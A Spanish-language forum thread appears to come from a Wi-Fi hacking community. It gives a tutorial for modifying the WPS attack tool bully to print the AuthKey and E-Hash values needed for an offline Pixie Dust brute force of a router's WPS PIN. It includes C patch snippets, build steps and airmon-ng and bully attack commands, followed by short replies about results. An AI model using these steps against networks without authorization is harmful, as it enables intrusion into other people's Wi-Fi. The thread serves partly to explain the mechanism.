El libre pensamiento para un internet libre
No estas registrado.
Antes de todo dar le las gracias a wiire del foro kali linux y del foro hack forum para explicar estos trucos muy útiles.(y necesarios)
Podéis encontrar las explicaciones en su fuente original aquí : A new WPS flaw surfaced!!*
*Desgraciadamente el registro es obligatorio y el foro es algo confuso pero es una mina
¿Porque queremos modificar bully o reaver? Para realizar el ataque pixie dust : "Pixie Dust" ataque de fuerza bruta offline para generar el PIN valido
No voy a volver a exponer los detalles, solo recordar la parte que nos interesa ahora.
En ultima instancia, un crack "pixie dust" consiste en un brute force de los hashes E-ASH1 y E-ASH2 que forman nuestro M3
Aquí podemos ver la estructura del M3 :
Y aquí los detalles de una captura de M3 con wireshark :
La parte roja en la parte inferior de la captura de pantalla anterior corresponde al M3 y el valor del ehash-1 sale en letras blancas
Esta cadena nos permitirá averiguar la primera mitad del PIN en uso
Y unos caracteres después tenemos al valor de nuestro ehash-2 (que contiene la segunda mitad del PIN)
En los detalles un e-hash se forma así :
Es decir que es el resultado de una cadena pasada por la función de hash " HMAC (sha256)" - preciso que se trata de HMAC con sha256 y no HMAC con md5.
la cadena utilizada se forma de cuatros elementos. E-S1 + PSK1 + PKE + PKR
A estas alturas tres de ellos son conocidos, las llaves publicas PKE y PKR que tenemos a la vista en el M1 y en el M2 y además ES-1.
Conocemos el valor de ES-1 porque en el caso de los chipset ralink su valor es 0. ( Para otros chipset se requiere un brute force del estado PRNG.)
PSK1, el cuarto valor, es el que desconocemos en la cadena y corresponde a la primera mitad del PIN.
Por lo tanto tendremos que generar las 10000 posibles primeras mitades de PIN para formar nuestros 10000 ehash-1 posibles y comparar con el ehash-1 legitimo que contiene el M3.
¿Os habéis perdido? NO pasa nada...
Lo importante : para generar nuestros HMAC necesitamos la llave empleada para pasar la cadena compuesta de nuestros cuatro elementos identificados
Los elementos que forman la cadena a utilizar con la llave : o los conocemos (PKE-PKR-ES-1) o sabemos que valor pueden tener ( PK1 va de 0000 hasta 9999)
La llave (auth key) no la conocemos con una simple lectura de paquetes.
Para poder recoger nuestra "auth key" ( es absolutamente necesario para el attaque pixie dust ) debemos modificar ligeramente reaver o bully para que hablen más...
Seguimos los pasos de wiire y descargamos bully que descomprimimos.
wget https://github.com/Lrs121/bully && unzip bully-master.zip
Una vez hecho abrimos el fichero wps_common.c con un editor de texto para modificarlo
gedit /bully-master/src/wps/wps_common.c
justo después la liña 121, es decir en liña 122, debemos insertar el código que sigue :
/****** ADD THIS PART ******/
printf(" > AuthKey: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_AUTHKEY_LEN; pixiecnt++) {
printf("%02x", *(wps->authkey + pixiecnt));
if (pixiecnt != WPS_AUTHKEY_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
les queda algo así :
Este paso es absolutamente necesario porque no podremos ver la authkey en nuestros paquetes M.
Además podemos aprovechar la oportunidad para hacer que salgan en pantalla los dos ehash empleados con la authkey.
Del mismo modo que anteriormente vamos a seguir los pasos de wiire y insertar un bucle for para pillar la cadena , bucle seguido de un comando printf para imprimir dicho valor en consola.
Esta vez abrimos el fichero wps_registrar.c que se encuentra al lado del fichero que hemos modificado anteriormente (wps_common.c)
gedit /bully-master/src/wps/wps_registrar.c
Y nos situamos justo en la liña 1719 para modificar la función wps_process_e_hash1 añadiendo el bloque de código siguiente :
/****** ADD THIS PART ******/
printf(" > E-Hash1: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
printf("%02x", *(wps->peer_hash1 + pixiecnt));
if (pixiecnt != WPS_HASH_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
Y tenemos algo así :
Ojo que debemos insertar el código a dentro de la función
Y hacemos algo similar para EHASH-2 :
justo después en la función wps_process_e_hash2 que debemos dejar así
wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", wps->peer_hash2, WPS_HASH_LEN);
/****** ADD THIS PART ******/
printf(" > E-Hash2: ");
int pixiecnt = 0;
for (; pixiecnt < WPS_HASH_LEN; pixiecnt++) {
printf("%02x", *(wps->peer_hash2 + pixiecnt));
if (pixiecnt != WPS_HASH_LEN - 1) {
printf(":");
}
}
printf("\n");
/******/
return 0;
lo que nos da :
Fácil ¿No?
Recuerdo :
Los cambios se han de efectuar antes de compilar/instalar, no podemos modificar así una versión de bully ya instalada.
Suponiendo que ya tenemos aircrack-ng instalado con sus dependencias necesitaremos instalar libcap-dev0.8
tengo buly ya instalado asi que voy en la carpeta src para lanzar
sudo make uninstall
se podría hacer con un
sudo rm -f /usr/local/bin/bully
al ver lo que devuelve nuestra consola
Y me voy al directorio src del bully-master que he modificado (lo tengo en mi carpeta personal ) :
cd ~/bully-master/src
para instalar el buly modifcado
make && sudo make install
ahora podemos pillar los datos de nuestro router (para copiar y pegar los en nuestra orden bully) y pasar el mode monitor y verificar que funcione sobre nuestro PA (hay que habilitar el WPS antes)
sudo wpa_cli scan_results && sudo airmon-ng start wlan0
Y probamos...
sudo bully -b 00:1a:2b:XX:XX:XX -v 3 wlan0mon
Veis como obtenemos en consola la authkey. : Nuestra mod de campeones funciona.
Notar que hay que ser rápido con Bully para prensar CTRL+C y parrar el proceso para no tener demasiadas "auhtkey" y liarse a la hora de usar los datos. (y accesoriamente para no despertar inútilmente el AP rate limit)
La mod es básica y se trata de un código PoC solo destinado a la obtención de la authkey.
Ultima cosa, he pillado bully desde estos repositorios : Lrs121/bully ya que como explica su autor los repositorios oficiales están cerrados.
Saludos y gracias a wiire por la explicación y a Lrs121 por mantener unos repositorios con bully
Desconectado
lo que no sale es PKE como el reaver
Desconectado
Buenos días saturno
En efecto : Con esta mod no salen ni la PKE ni la PKR (tampoco la e-nounce que es necesaria para realteck )
Esta "mod" básica estaba enfocada antes de todo en sacar la "auth key" ya que el valor de la "auth key" es el único que no se puede pillar en las capturas de traficó y se ha de "pilar al vuelo" mientras toma lugar el intercambio de laves "Diffie Hellman".
El reaver automatizado para pixiewps es sin duda la mejor opción ( Reaver modificado para Pixie Dust )
por esto puse este tema en el foro "script y programación" y no en "herramientas para ataque WPS"
Es más para ver el mecanismo que otra cosa.
PD : ¡Bienvenid@ a WiFi-libre!
Desconectado
ya entendi gracias kcdtv he probado el pixiewps y con router que me pilla y nada no funciona y con el reaver modificado y nada
y con los mac 8C:0C:A3:XX:XX:XX menos no funciona
Desconectado
Tema | Respuestas | Vistas | Ultimo mensaje |
---|---|---|---|
|
26 | 7779 | 15-03-2023 16:57:32 por kcdtv |
Pegado: |
34 | 3812 | 12-03-2023 18:24:22 por Guybrush92 |
Pegado: |
436 | 63610 | 07-03-2023 12:35:27 por kcdtv |
0 | 423 | 23-02-2023 17:09:39 por kcdtv | |
114 | 258652 | 19-02-2023 17:36:14 por chuchof |
Ultimo usuario registrado: erpini
Usuarios registrados conectados: 0
Invitados conectados: 12
Número total de usuarios registrados: 2,432
Número total de temas: 1,632
Número total de mensajes: 15,528
Atom tema feed - Impulsado por FluxBB